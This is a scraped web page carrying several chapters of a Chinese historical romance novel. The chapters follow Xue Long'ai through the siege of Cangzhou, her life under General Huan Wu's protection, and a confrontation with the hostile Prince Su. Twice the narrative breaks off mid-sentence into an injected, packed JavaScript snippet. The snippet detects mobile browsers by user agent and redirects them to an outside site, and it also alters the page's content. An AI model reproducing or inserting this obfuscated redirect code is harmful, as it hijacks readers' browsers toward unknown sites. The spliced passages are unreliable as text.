见师太面有迟疑,亏不尽有薛隆爱这个经过亡国破家的人在,她道:“现在外有敌军,内有天祸,人人乱成一团,寺里不早早把粮食舍出,晚些时候打家劫舍起来,恐怕不仅粮食保不住,人也保不住,我在汉中是亲身经过的。” 寺里这才开了粮仓,搜括了上千石谷米,在寺门前煮粥分与百姓。城中官宦富户见了,也效仿起来,捐米捐柴者皆有。 百姓们得以果腹,民心大振,四处伐木运石,补葺城堞,抗水抵敌。 崔嫮性子里有些英豪之气,携带奴仆,和军民们一道接土填水,裴玉郎要讨她欢心,也聚起家兵仆从跟随行事。 半日不到,崔嫮整个人弄得灰头土脸,哪里还有半分美人模样,她却甘心忍受。她师父慈泪尼娘娘连唤数次,她也不回。 薛隆爱亦默默在侧。 她对沧州并无情分,既然北晋与大梁联军入蜀,保不齐与西蜀之亡皆有关系。 但她见沧州围城,想起昔日汉中城破之时的惨状,心中不胜悲恻。 两军交战,无论胜败,皆是将士百姓尝尽苦难,甚至付出自身性命为代价,只为更迭不断的帝王们争夺山河而已。然而,无论是哪一家坐享了这天下,便如水蛭一般附骨在百姓身上啃肉吸血。 薛隆爱深觉,齐军不该攻打沧州城,沧州军民也不该守城,他们应当聚成一团去杀了齐国的皇帝、晋国的皇帝、梁国的皇帝。 这世上所有的惨事,皆因他们这些皇帝要争天下。但眼下,沧州城若被攻破,死伤的也是无辜百姓。 有如此一念,薛隆爱才肯随崔嫮一行人出力守城。 众人正忙于塞土填水,忽然顶上传来一道声音,喳喳叫道::“芸辉,你怎么也来搬石头了?等明儿醒来一手泡,不怕疼么?” 抬头一望,原来是云寿岂爬在一株古槐树顶,叼着根枝条儿,冲她们瞎嚷。 芸辉偏过头不语。 瑰意儿戳了戳她,悄声笑道:“你干嘛不理人家?又拼命救你,又牢记着你。” 芸辉却恼了,道:“我知道姑娘疼你,可你也犯不着来作践我。” 瑰意儿扁了扁嘴,不再理她。 云寿岂却仍不闭嘴,继续嚷嚷道:“芸辉,这树上能看见城外战阵,要不要上来瞧瞧?” 芸辉仍不说话。 崔嫮却被勾起兴致来,颇有跃跃欲试之意。她对裴玉郎道:“玉郎,我们爬上去看看。” 裴玉郎往树上望了望,看着高耸入云,便有些为难,只好劝道:“太高了,等下摔着你怎么好?” 云寿岂立马嗤笑道:“高吗?我怎么蹬两脚就上来了?原来长史府的公子平日里不练腿脚功夫的。” 又对崔嫮道:“红貅奴,他可不是怕你摔着,是怕他自己爬不上来,被你笑话。” 不待裴玉郎还口,崔嫮秀眉一轩,昂着头怒道:“大黑獭,谁准你唤我的乳名了?” 云寿岂笑道:“你大名叫什么来着,崔虎?崔狐?我给忘了。” 崔嫮咬牙道:“是崔嫮!楚辞读过没有?嫮目宜笑,娥眉曼只。这便是本姑娘闺名出处。” 云寿岂挠挠头,道:“没读过,是什么意思呀?” 崔嫮道:“是赞美女子明眸含笑、眉目秀美的仪容。” 云寿岂故作恍然,长“哦”了一声,脸含笑意,道:“那这名字跟你不搭呀,你这么虎生生的一个人,又不爱笑,天天瞪眼,你还是叫崔虎好,小名就叫虎妞!” 裴玉郎怒斥道:“臭叫花子,你敢对她出言不逊!” 崔嫮气狠狠的鼓起脸,道:“大黑獭!你有本事长长远远待在树上,只要你脚沾了地,我……我打得你满地找牙!” 云寿岂不理会裴玉郎,咧嘴朝崔嫮一笑,道:“逗你玩儿呢!崔七姑娘,你要不要上树来?阵鼓马上就响了,咱们沧州军勇猛的紧呢,你不想看看齐贼是怎样被打跑的?” 崔嫮瞪了他一眼,道:“我怎么上的去。”说着脚尖踮着,不住的伸头往前望去。 云寿岂道:“那还不简单,我拉你上来。” 崔嫮竖耳一听,果然城外已战鼓大鸣,心下十分想看,但她年少畏羞,又有些犹豫不定。 裴玉郎忙道:“红貅奴,别去!这臭叫花子没安好心。” 云寿岂道:“崔七姑娘,他又不是你爹,你听他的做什么?你心里想看就上来。” 说着话,一只手勾着树枝,脚带着身子挂在树干上,伸出一只手来拉崔嫮。 崔嫮刚伸出手,一眨眼间,只觉被握在一只宽大的手掌之中,微汗沁肌。登时她凌空掠起,树梢摇动。 手掌一松,她已斜倚在树上。 崔嫮纵目远眺,果然望见沧州城下,旗旛喇喇卷动着烟焰,蔽天盖日。两军隔水林立,火光中刀盔奕奕列阵,正待交锋。 瑰意儿见有趣,在树下叫道:“姑娘,姑娘,把我也拉上去,我也想看!” 崔嫮闻声低头,见瑰意儿又跳又叫,薛隆爱面上也似十分好奇,便对云寿岂道:“大黑獭,你把我的小丫头拉上来,把我的小姐妹也拉上来。” 云寿岂未免有些不满,道:“嘿!我成你的苦力啦?” 崔嫮眼里看着前方战阵,不由得热血如沸,又听见瑰意儿一直叫唤,自生焦躁,便胡乱一说:“麻烦你啦!” 云寿岂听了并不吭声,却真把瑰意儿和薛隆爱拉了上来。裴玉郎见这般情形,也叫几个仆从叠在地上,他踩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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崔嫮看毕这一场战事,不禁心荡神驰,不住叹道:“他是咱们北晋的将军吗?我从未见识过这般神武的男子。” 云寿岂和裴玉郎齐齐向她瞧去,崔嫮惊感失言,脸色一红,忙扯了扯薛隆爱,道:“薛妹妹,你怎么了?吓得脸色都白了,已经没事啦,援军把齐贼打跑了。” 薛隆爱定了定神,只是声音发颤,道:“咱们下去吧。” 几人互相搀扶,慢慢爬下树来。 忽闻城门处升炮吹打之声,沧州城内已欢声雷动,人人奔走相告:“援军到了!把齐贼打跑了!” 城中乡宦士庶执香点烛,奏起胜鼓凯乐,远近街道,人头攒动,欢呼着喜迎胜军进城。 崔嫮拉着薛隆爱也拥入人丛之中,远远的瞧着军马进城。 薛隆爱恍如梦寐,只觉那震天的鼓乐,都散作她怦怦然的心跳中生盆火烈般的轰隆声。 人潮涌动中,薛隆爱整个人迷迷离离的,天也变得沉沉的,一股阴风刺骨,笑声喧腾处,她分明看见,一女子浑身刀痕暴裂,碧血犹滴,瞋目衔恨,死死盯着自己。 薛隆爱顿觉遍身发抖,竟有些站不住。 忽然间,灵风一晃,那女子就不见了。 只见尘头起处,那骁勇大将一路扫视,很快他瞧见了她,又惊又喜,立即翻身下马,直奔薛隆爱而来。 在一片惊疑目光中,薛隆爱从他怀中慢慢挣出。她敛了眸,身子微颤,声音迷濛,淡淡叫了一声:“桓大哥哥。” 11.第 11 章 一切诸报,皆从业起。 一切诸果,皆从因生。① 这四句偈言,是那年春尽之际,薛隆爱于沧州天姻寺辞别崔嫮时,她师父慈泪尼娘娘诵念与她们听的。 慈泪尼娘娘瞧着薛隆爱,说道:“这般韶华,满目怆痛,唯有与佛结缘,方能消散烦恼。” 崔嫮悄悄告诉薛隆爱,慈泪尼娘娘是晋帝的原配妻子,晋帝为稳固皇位,要娶大丞相的女儿。慈泪尼娘娘便只好顾全大局,自愿削发为尼,从此远离京畿,游居佛寺参禅度日。十四年来,她唯一的亲生儿子,也不能相见一面。 薛隆爱这才恍然,慈泪尼娘娘这个古怪的称呼,缘于此故。 尼娘娘三个字,是她曾为帝王女人的烙印,哪怕帝王已弃了她,她也已归入佛门,这个烙印,也将终身跟随她。 而慈泪这个法号,是十四年来的日日夜夜,她思念儿子流下的血泪。 崔嫮满嘴千刀万剐,无般不咒骂晋帝摒弃发妻的行径,薛隆爱也自是赞同。 自沧州一别,在汉水之畔的比翼关,有一个少女,每逢心神不定时,便在心里念诵这四句偈言,不住地警示自己:想结怎样的果,就要种怎样的因。 这少女已十七八岁年纪,换下一身缟素,依旧喜穿淡紫花罗银泥裙,绣带飘飘,绰约如玉。可她眉目间,不再有初时的天真烂漫,视事事淡然若水。 她孝期虽完满,可心里的孝,并不曾远去。 这少女姓薛,她有一个情意缱绻的名字,名唤隆爱,是前朝西蜀户部侍郎薛雪蒿的次女。长姐单名一个棋字,婚配六州大都督桓烈的义子,虢虎郎桓武。 迎亲之日,蜀帝以通敌叛国之罪下狱桓烈满门,桓武途中即令车马返回潼川营救,不料此时,齐军攻破汉中城邑。 一场战祸,国家覆灭,家族倾亡,只剩桓武与薛隆爱存活于世。 后来,大梁与北晋的联军入蜀,会盟桓家军余部,勠力同心赶走了齐军。但因蜀帝诸子皆被齐军所杀,复国无望。大梁同北晋议定,以汉水为界,中分蜀地疆域,汉中七州归大梁,以北诸地归北晋。 大梁追封桓烈为忠勇公,为他平反了通敌冤屈。又向桓武承诺厚待桓家军,兵将士卒仍旧留用。眼见蜀中军民皆已臣服大梁,桓武也只好率军归顺,荣封神武将军。 桓武挂念薛隆爱无故出走,派出好几拨探子天南地北寻访,终有回报,说曾在江南鹊洲渡口发现她踪迹,现下却已身在沧州。 桓武微微一惊,只道她小孩子家任性胡闹,竟跑去北国瞎玩。但因薛雪蒿临终嘱托,不能责怪,必要将她带回身边。 于是,他向大梁镇军大将军阮重相告,喜幸阮大将军是个重义铁汉,用人不疑,允他领兵随晋军北去寻回舍眷。 不想阴差阳错,解了北晋沧州之危,也算报了些许国仇家恨,并不放在心上。 将薛隆爱带回比翼关后,桓武置下一所空宅,寻了一个官卖的罪眷冯氏当做奶娘,近身教引她,又买了几个丫鬟小僮伏侍,再去接了桓夫人母家仅剩的独子卫礼陈同住。 桓武这般安排,原因有二:一则,从前在汉中时,卫礼陈与薛隆爱是玩伴,十分投缘,他比她小两三岁,可认做弟弟。家里热闹一些,渐渐或能稍减她亲人尽失的苦楚。 再则,桓烈夫妇膝下无所出,桓氏兵法奇阵,已尽传与桓武。但他心里自知义子身份,深感桓、卫两家终该由卫礼陈来振兴,故一心要将他磨练成才,已教他随在军中习学。 自此,桓武、薛隆爱、卫礼陈三人自成一家,领兵镇守在比翼关,以待北伐灭齐。 薛隆爱感念其恩,曾提议二人认义为兄妹。桓武却道:“何须认义?总归你也叫惯了大哥哥的。我既已答应薛伯父照顾你,不用这些虚礼,我也信守不渝。” 薛隆爱垂了眼,斟酌片刻,道:“那么小妹以后改口尊你为姐夫。” 桓武摆摆手,只说:“大礼未行,我当不起这两个字。” 薛隆爱并不接口。 只见她交叠着手腕,摆弄手上的铃铛,轻轻晃出些许清悦声儿来。这时微风轻漾,从窗隙中来,吹得那窗纸泠泠有声。 早至夕阳时分,残霞似绮,红洒洒地铺在窗柩上,照落在她淡白的脸颊上,闪闪掣动着,使她的眉眼氤氲在一片滟滟摇光之中,看不清她的喜,或是悲。 尘世滚滚,四季不歇。匆匆之间,梅梢换了三回新枝,已是大梁元狩三年。 其间,桓武所创的鹣鲽阵名震天下,屡屡击败北齐精骑,夺取辽河并州等地。 仅仅三年,极目宇文家的天下,版图已是南北四朝之最。 破阵曲又一次随着桓武的凯旋响彻比翼关时,薛隆爱听在耳中,只觉如九皋鹤唳四野鸿哀一般。 她对桓武说:“大梁皇帝真是聪明,桓家军誓雪国仇之心愈强,他的盛世,就愈辉煌。” 其实她还有话未曾说尽。 过不了几年,待大梁全盛之时,桓家军也就该如她父亲一般,默默敛骨于风中,翻遍史书也寻不到任何有关的笔墨了。 鹊洲渡口所闻所见,起初薛隆爱是寻不到机缘说出。虽朝夕相处,她与桓武并不亲近,与卫礼陈也亲厚有限,后来日子越久,她已不知该如何启齿。 桓武从来也不相问。 又是一年春风骀荡时。 因桓武胜仗归来,又逢西域诸国来朝,朝贡舍利骨和佛牙经书一百七十部,皆是大乘妙典。 梁帝崇佛,自然大喜,又怜嗟起早亡发妻袁氏生前辛勤,却未能同享尊荣。 于是下诏晓谕内外,命南山长公主监国,御驾要亲临昔年起兵之地沟梁郡,祭告天神地祇,以慰袁氏亡灵。 又令两位皇子随巡,选在烂陀寺督办无遮大会。方好接见西域二十七国使臣,彰显国朝风范。 择定吉日,圣驾启銮。 文武大臣扈跸起行,百姓跪叩道旁迎送,舆马仪仗达数十里,围轿前燃沉香如雾,在途张旗呼拥之声,随风震响,何等煊赫,何等威势,当世无二。 沟梁郡与比翼关相隔汉水而望,梁帝发妻袁氏当年落水身亡,尸无下落。因此梁帝不愿渡江,特诏桓武前来觐见。 桓武听闻西域僧多有奇术异能者,会踏索上竿、口吞铁剑、傀儡火戏,观者皆道活神活现。何况这般盛会,定会下设百戏于寺中,角抵舞轮,升竿掷绳,应有尽有 桓武意兴盎然,说不如举家同往游玩一番。薛隆爱这边,却是另一副波澜不兴的光景,她定了心,只孜孜不倦的伏案钻研药典,或在遍布穴位的桐木人身上专注用功。一遍又一遍,永远也忙不尽,仿佛岁月也能这般永久地搁浅下去。 卫礼陈从旁撺掇,道:“爱姐姐又作怪,这一趟战事我和大哥哥来去三个月,难得闲中,一同去游赏玩看多好。撇了你一个人在 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正在这时,小僮长安忙忙促促的跑进后院,报知道:“姑娘快领人去瞧瞧,长生策骑过山道时,不知和谁家的车驾相撞,叫人拿住了。只有一个觅汉趁乱回来报信,也鼻青脸肿的。” 薛隆爱一惊,忙放下手中草药,一边唤备轿,一边道:“谁家这样跋扈?道中车马相撞也属常事,若未伤及人,彼此好言道歉一番也就是了,怎么打的鼻青脸肿?” 那觅汉趋步跟随,急道:“看着不像咱们关中的人,四围人从,全副车马仪仗,塞挤在道中,实不好走,这才无意撞上。长生哥已再三致歉,那马前仆人甚是强横,不听人分辩,二话不说,直拿马鞭扑打。咱们的人这才还了手,他们便放恶犬咬人。” 薛隆爱急急上轿,几个习武的小厮打伞跟随在后。 不多时,在川蜀比翼关山道上,红花成阵,绿柳成阴。因关中官员及家眷大多去烂陀寺游赏佛会,道上车马稀少,只有一顶花花细轿软步如飞,匆匆而行。 轿子刚被抬上山坡,便已遥听见犬吠声。 轿帘掀起。 薛隆爱早已自轿中急步走出,定神一望,顿时惊怒交加。 只见草药撒了一地,血也溅了一地,几个小厮觅汉被二十余头雄猛凶恶的猎犬追逐着四处乱窜,头脸、身躯皆有淋漓血痕。 金翠雕车前,前后护卫似在观赏趣态一般,哈哈拍手大笑,欢悦声中夹杂着惨叫声,无人生怜,倒觉增添兴味。 薛隆爱纵身向前,照准那四处咬人的恶犬,双手一扬,各发十二只铁蒺藜,只只恶犬登时扑地乱滚嘶叫,血流不止。 遍身是伤的小厮觅汉见薛隆爱到来,连爬带滚至她身后。 霎时间,车驾前后护卫拔刀在手,便要向薛隆爱疾砍而来。 就在这时,碧帷骤掀。 一个懒恹恹的男子声音响起,他轻斥道:“住手。” 薛隆爱抬眼一瞟,心下一凛。 那人的眼睛生的极美,却总叠暴着戾气,黑漆漆的眸底,蕴着终年不散的阴鸷。每一个活人,在他眼中别无二致,皆是死物。 她记得这双凤目的主人,大梁皇帝的长子肃王宇文胤。 宇文胤缓步下车,见他一身戎装,玄青销金蟒纻丝绣袍,腰束着雕蟒赤玉带,脚踏串珠云头靴,漫不经心的向薛隆爱走近来。 冷森森一道目光,向她上上下下打量良久,问道:“是你。还记得我吗?” 薛隆爱道:“记得,阿桓的哥哥。” 12.第十二章 宇文胤怒极反笑。他一时竟忘了些许细梢末节。四年前,若不是他埋下的一场围杀,这个姓薛的丫头又怎会和宇文桓相识在先。 此时日色衔山,山道之上深树叠翠,拂地成阴,点点漏光匝地。 薛隆爱闪身退后几步,眉目间隐然含有对他的敌意。 宇文胤慢慢歪过了头,冷飕飕的凤眸迎视薛隆爱,渐渐变得饶有兴致起来。 见她一袭淡紫宝花襦裙,折枝梅花错落有致地绣于前后。足踏绣珠笏头履,头梳飞天紒,两鬓各插饰一支白玉簪,簪首处开着一朵沁粉碧玺梅花,玉质莹润雅致。 山间软风阵阵,身周坠花无声。 衬得她容色清丽绝伦,但她目光十分冷然,令人不敢逼视。 确是一个百口也赞不尽的丽人儿。 不过,宇文胤并不喜欢这种冰山一般的美人。女人嘛,还是风情月意些才动人。 但是,他有一些些积年的不忿。 这世上的好东西,总是对宇文桓投以亲睐。比如,这次接见西域诸国来朝的佛会盛典,父皇略听南山公主一番谏言,便史无前例的迅速应允交由宇文桓主持。 然而,御驾一入沟梁郡,父皇当即传召神武将军桓武,欲令宇文桓随军兴师北伐。 宇文胤心下冷笑,待宇文桓征伐有年,积有军功,储位便是他囊中之物,与自己无关了。 他这才了然,父皇令南山公主留京监国,千山万水亲临沟梁郡的用意,原来只为宇文桓铺路。 宇文胤依稀记得,那年鹊洲渡口,薛隆爱曾为救宇文桓,也不惜向他发射暗器,至今他额角处,还留有一道细细的旧疤。 正因如此,淡酒也成了瑶池琼浆。 就如这座枕霞山,遐迩闻名,人人皆道是比翼关中至美之境。 可宇文胤今日一游,似觉与寻常青山相较,也不过略胜些许罢了。不过正逢桐花覆水的时令,一脉春光相连浦溆,落红影下,乱花缀碧水,才显得远山崭然,有些靡迤深秀的风光而已。 更出乎他意料之外的是,薛隆爱带来的仆从之中,有人踏前一步,行礼禀道:“不知尊驾是谁?为何如此重伤鄙府仆从?我家姑娘乃是桓大将军府的家眷。” 这就更有意思了。 宇文胤剑眉一挑,忽地欺身逼近薛隆爱,问道:“桓武的家眷?他姓桓,你姓薛,难道是他母家的亲戚?” 薛隆爱连退三步,微笑道:“是又如何?不是又如何?咱们寻常百姓家的亲伦,又不与帝王家的行事一致。臣女便说与肃王殿下听,想来殿下也是难以明白。” 宇文胤微微眯起凤眸,凶光暴长,冷笑一声,道:“难得你还知道你是臣女,我是肃王。你仰仗桓武军功,以为本王就不敢动你么?” 薛隆爱道:“与旁人何干?鹊头山下,晋王殿下是为臣女所救,臣女还未曾向皇帝陛下领赏。也不知四年过去,主谋伏法没有。若没有,死于臣女暗器之下的十二名刺客,他们的身形音容,臣女可一直牢记在心,说不定就能为大梁再立一功呢。” 宇文胤面色一沉,唇角却因暴怒而扬起,讥笑道:“你倒是一心为他。可惜啊,他子因母贱,不是五姓七望出身的女人,阮家是绝不肯八抬大轿聘进门的。纵然于他有救命之恩,恐怕也只能留一个侧妃的位置与你了,也不知桓武丢不丢得起这个脸。” 薛隆爱眼波无澜,道:“臣女无知,不晓得大梁哪位皇子,是为中宫皇后所出,能够子以母贵。” 宇文胤心下早就恼火,见薛隆爱句句语含不屑嘲讽,越发怒气上涌,须臾间,已胀红了面皮,就要反手重重打她一个耳光。 薛隆爱一个斜身闪躲,宇文胤打了个空,脚下踉跄,左右侍从来不及搀扶,已一跤栽在地上,蹭破了相,渗出了些血来。 侍从忙就地上扶起宇文胤,为他擦拭鲜血,又上下检视是否有伤。 宇文胤狠狠推开侍从,气急败坏的指着薛隆爱,大叫大嚷:“姓薛的,你给我等着!将来你落到我手里过日子,我让你求生不得,求死不能!” 薛隆爱淡淡一笑,道:“臣女遵命,必得长命百岁活着,专望这一天。” 又虚有似无的行了个礼,道:“今日臣女府中车马相撞肃王殿下,实属不该。但不知者无罪,殿下驾临比翼关,并无公告,故未能肃道相迎,并非慢待不敬。 “既然殿下车马无碍,鄙府奴仆也已由猎犬罚过,臣女便领奴仆回府,必严加管教。臣女所伤猎犬,会即传小厮往烂陀寺报知桓大将军,待佛会之日,他定会十倍赔还殿下。 “臣女不便在外久待,先行回府。恕不远送陛下,乞殿下鉴谅。” 四年前,驿宫之中,宇文胤就曾领教过薛隆爱应对王尚书的言辞,知这丫头口齿伶俐。一时半会,要驳她这一番话,也实是不易。所幸已知她身份来历,来日方长,不急在一时一刻,冷眼由她上轿径直离去。 薛隆爱到家,吩咐小僮取金创药,给被恶犬咬伤的小厮觅汉敷药,包扎伤口,叫他们安心修养,这几日不必做活。 又一面唤长安过来,与他十两银子,教他乘船去烂陀寺,向桓武细细报禀今日山道之事,嘱咐他佛会期间,千万小心宇文胤一党。 长安领了银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803459|172602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,叫了两个小厮跟随,搭了船只,到了沟梁郡渡口,赁了一头小驴,往城中烂陀寺去。 寺院门子见说是将军府小厮,不敢怠慢,即引长安入寺去见桓武。 长安自踏进烂陀寺,心下就赞叹不绝,果然好一座大刹,一路槐荫夹道,曲径纡回,遥遥可见寺中九层浮图耸立,百丈之高,接入云霄。僧房楼观千余间,皆是碧瓦飞甍,雕梁粉壁,园林花茵似锦,莺啼燕语,交织着隐隐钟声,尽显梵宇清幽。 长安心想:“蓬莱山上的洞天仙府,都没有胜过这里的。” 眼下便如此,待得佛会之日,不知该是怎般盛势。 寺奴将长安引至桓武禅房前,待得进屋禀报,蓦地,只见桓武慌忙抢身出来。 急问长安道:“家里出什么事了?” 长安将桓武扯过一边,悄声回道:“姑娘没事。是长生采药回府途中,和一驾车马相撞了,又打又骂,还放狗咬人。姑娘坐轿前去理论,才知那人竟然是肃王殿下。姑娘和他辩说老半天,才了结事情,已经回府了。姑娘唤我来和大爷说,他们家两个儿子,各怀鬼胎,叫大爷谁也不要理会。” 桓武放下心来,道:“你和姑娘说,我知道了,不用担心。” 长安应了,便原路返回比翼关。 三日后,城中最恢宏的烂陀寺中,佛会大典正在举行。 寺中鸣铙击鼓,各国僧尼聚众成列。 大梁皇帝宇文诸摒下龙袍,披上淄衣,高坐蒲团之上,宣讲佛法,念及往生咒一篇,泪随言下,悲痛欲绝。 底下文武百官纷纷同哭拭泪,倒不是与皇帝感同身受。而是听了这半日佛经,昏昏欲睡之际,呵欠所致的眼泪。 卫礼陈揉了揉双眼,凑近桓武,悄声道:“大哥,大梁这皇帝老儿真奇怪,若他对发妻如此情深,为何不追随而去?昨儿我听说寺里有人闲话,说他有个妃子,就是袁氏还活着时纳进门的小妾,有人说是蔡昭仪,有人说是阮上嫔。他现在做这假把式给谁看?” 桓武皱了眉,道:“噤声。这里不是比翼关,当心隔墙有耳。” 卫礼陈吐了吐舌头,不以为然,但也不继续再说。 佛会散去,梁帝传桓武上前觐见,论起桓家军这几年来的捷报不断,连赞三声骁勇,又面加奖赏,进桓武为冠军将军。 继而又倡出北伐计议,欲令晋王宇文桓随军效力,请桓武全力教导。 桓武一律遵命,言辞间喜怒不形于色。期间两派朝臣屡屡示好,无论谁家相邀酒宴,桓武也均携卫礼陈赴会,既不显疏远,也难以亲近,似与两宫皆无相交之意。 13.第十三章 桓武辞行返关前夕,梁帝命大开筵宴,亲与送行。宴席之间,酒至数巡,正是酣时,忽见晋王宇文桓亲起把盏,与桓武敬酒。 桓武一饮而尽,又把盏一杯,敬回宇文桓。 宇文桓陪坐少顷,一直少言寡语,忽然缓缓开口,道:“桓将军,本王想同你打听一个人,不知是否唐突。” 桓武见他神色认真,便放下酒盏,道:“殿下言重,不知是何人?” 宇文桓轻咳一声,微微笑道:“桓将军出镇比翼关,已有些年月,不知尊夫人是否伴随赴任?” 桓武奇道:“臣蒙上眷顾,一心图报,忙于征战,并不曾娶妻室啊,何来夫人之说?” 宇文桓不由得吃了一惊,疑惑道:“四年前,沧州一战,桓将军曾对本王母舅说要领兵接回舍眷薛氏,她不是薛雪蒿大人的次女、尊夫人的妹妹吗?” 桓武不禁一愣,道:“臣与薛氏长姐在汉中时,确实曾有夫妇之约。但未及婚嫁,她便过世。此乃旧事,殿下何以得知?” 宇文桓点了点头,恍然一笑,道:“原来如此。那么……薛大姑娘的妹妹,现下在哪位亲旧处教养?烦请桓将军告知。” 桓武不答,抬眼注视宇文桓,反问道:“殿下何以要打听她?” 宇文桓沉吟半晌,方缓缓道出:“我……四年前,本王曾陷身鹊头山下,那时薛二姑娘相救于本王,我们相伴同去鹊洲渡口,她本答应随本王回金陵,后来不知何故不告而别。不过……我心里一直记得她的恩德。” 桓武听了,默默良久,才笑道:“臣倒从没听她提过这么一桩事。想来也不是大事,殿下不必萦怀。” 宇文桓仍追问道:“桓将军,烦你告知,她在何处?” 桓武饮下一杯酒,道:“她的至亲皆不在人世,臣受她亡父重托,一生照看她。她自然随我在比翼关。” 宇文桓喜道:“父皇命本王随桓将军北伐,军中诸多事项,本王一知半解。不如明日本王随桓将军同去比翼关,一来为公,二来本王也想同薛二姑娘叙旧,不知可否方便?” 桓武道:“殿下便去,她也不会相见。恕臣直言,她在沧州时,也曾结交朋友,这四年来,彼此书信从不间断。但臣却从未听她说起什么鹊头山,什么渡口的,殿下与她相交甚浅,她的性子有些古怪,翻起脸来,谁也不认。臣不敢冒然请殿下上门,还是等她相邀殿下时,再拜访也不迟。” 宇文桓碰了一个硬钉子,当下也只好应下,心里不免有些懊恼。 次日一早,桓武向梁帝请行,梁帝携百官亲送至渡口,以示礼待有功之将。 桓武回到比翼关,并未回府,先去军中详细备军事,以待北伐诏令。 归至家中,已是月色将出的薄暮。 门窗半启间,寒枝雀静的桐树,掩映着一日中最后一抹夕照,光影迎风斜落,门里门外,皆是看不尽的旖旎。 薛隆爱正在给受伤的家仆熬药,她怔怔望着炉中翻煮的药材沙沙作声,药罐的盖子被沸腾的水气往上顶得哐哐响。 半晌,她听到脚步声,转过头,见是桓武归来,问道:“怎么不见小陈哥儿?” 桓武道:“北伐在即,他在军中操练。” 薛隆爱点点头,问道:“沟梁郡没什么事吧?” 桓武道:“无非就是两宫党羽皆想拉拢咱们桓家军。” 薛隆爱前后思虑一番,道:“若非要选站一党,选晋王,比选肃王要好。” 桓武道:“哦?怎么说?” 薛隆爱道:“肃王一党多为江左士族,尊卑分明,只认谱牒,不认其他。此时行拉拢之事,无非是想增添肃王军中声望,心里指不定如何骂我们寒门乍富。晋王母家同为军中行伍之人,又因朝中无援,我们若选站晋王,无疑雪中送炭,更显珍贵。” 桓武道:“阮重兄妹出身卑贱,唯有军功倚仗,我与他们为一党,保不齐被当作踏脚石。” 薛隆爱忙道:“其实要我说,两宫皆不可靠,选站谁也不过是无奈之举,但是晋王比肃王略好些,至少他的人品不像肃王那么暴戾寡恩,知道知恩图报。” 桓武问道:”他?他是谁?谁是他?” 薛隆爱不接话茬,转身埋头煎煮的一剂药,药香水沸间, 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看他样子,像是饿得厉害了,等不及寻到一双箸,竟是用手抓起的药渣,塞进嘴里大嚼。因被她劈面撞见这状甚窘迫的样子,顷刻间,呛得脸火辣辣地红起来。 他不是该随御驾回京了吗? 不知过了多久,这样寂静的四目对望里,薛隆爱忍不住问道:“不苦吗?” 宇文胤板僵了身子,刚做出一副凶狠穷奇的样子,正欲说话,却“哐当”一声倒在了地上,头和眼恐怖地朝一侧斜着,随即手搐如狂般发作起来。 看着他面唇紫绀、牙关紧闭的样子,薛隆爱惊得差点叫出了声,她仓皇地蹲下身,诊其寸口,他的脉息弱如颇弦,像是痫疾。 薛隆爱来不及想,正待唤人,宇文胤却拉住了她,嘴向她胳膊上咬去。 她吃了痛,慌手慌脚地推开他,他却拉住她的手,死不肯放。 一轮红日透窗倾洒,宇文胤仰面躺在地上,拼命克制着口角抽动的病象。薛隆爱看得十分清楚,他面如死灰的脸庞上,闪过的是凄厉悲恸的恨意。 他艰难地开了口:“不要告诉他。